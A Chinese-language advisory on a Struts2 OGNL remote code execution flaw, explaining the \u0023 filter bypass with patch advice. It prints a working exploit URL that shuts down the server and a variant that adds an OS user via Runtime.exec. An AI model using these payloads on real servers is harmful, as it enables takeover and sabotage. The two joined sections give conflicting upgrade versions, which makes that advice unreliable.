Struts2被曝存在重大遠程任意代碼執行安全漏洞,影響Struts2全系版本。而對于此次堪比棱鏡事件的危害,安全寶指出,眾多大型互聯網廠商均存在該漏洞,且影響廠商仍在擴大之中。同時漏洞利用代碼已經被強化,可直接通過瀏覽器的提交對服務器進行任意操作并獲取敏感內容。目前安全寶用戶暫可高枕無憂。同時也建議使用Struts開源架構的網站用戶盡快加入安全寶云體系,以保護網站免受漏洞的威脅。
據悉,Struts2漏洞由網安全寶在昨日率先攔截到其攻擊,漏洞涉及Struts2.0及以上的版本,是一個遠程命令執行漏洞和開放重定向漏洞。利用漏洞,黑客可發起遠程攻擊,不但可以竊取網站數據信息,甚至還可取得網站服務器控制權。而且,目前針對此漏洞的自動化工具開始出現,攻擊者無需具備與漏洞相關的專業知識即可侵入服務器,直接執行命令操作,盜取數據甚至進行毀滅性操作。
安全寶聯合產品副總裁吳翰清指出:“Struts2是一個幫助java開發者利用j2ee開發Web應用的開發框架,作為網站開發的底層通用模板,在大型互聯網企業、政府、金融機構等網站建設中應用廣泛。因此,此次Struts 2遠程執行漏洞,將會威脅很多規模型網站。如今,開源架構下漏洞頻頻爆出,并且大多屬于突發性威脅、爆發迅速快、波及范圍廣,這警示網站安全必須由一次性維護轉向即時關注,以應對層出不窮的網站安全威脅。”
為了防范攻擊者可能利用此漏洞發起的攻擊,安全寶提醒廣大網站管理員,應該盡快采取如下措施:
1、DNSPOD的用戶直在DNSPOD域名管理列表中開啟安全中心,即可一鍵防御攻擊。
2 、從Struts2的官方網站下載最新的補丁程序,并盡快將Struts 2升級到最新的2.3.15.1版本,避免遭遇嚴重的安全攻擊(下載地址http://struts.apache.org/download.cgi#struts23151)。鑒于Struts 2至今為止已經多次曝出嚴重的高危漏洞,如果不是必要,建議開發者以后考慮采用其它類似的Java開發框架。
1、原理
Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換為:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1); //關閉程序,即將web程序關閉
類似的可以執行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統用戶,在有權限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權限就可以執行任何DOS命令。
2、解決方法
網上很多文章都介紹了三種解決方法,個人覺得將struts2的jar包更新到最新版本最簡單,不用更改任何程序代碼,目前最新版本2.3.4
下載到的更新包中有很多jar包,我系統中主要用到以下幾個替換掉舊版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替換舊版本)
struts2-core-2.3.4.1.jar (替換舊版本)
xwork-core-2.3.4.1.jar (替換舊版本)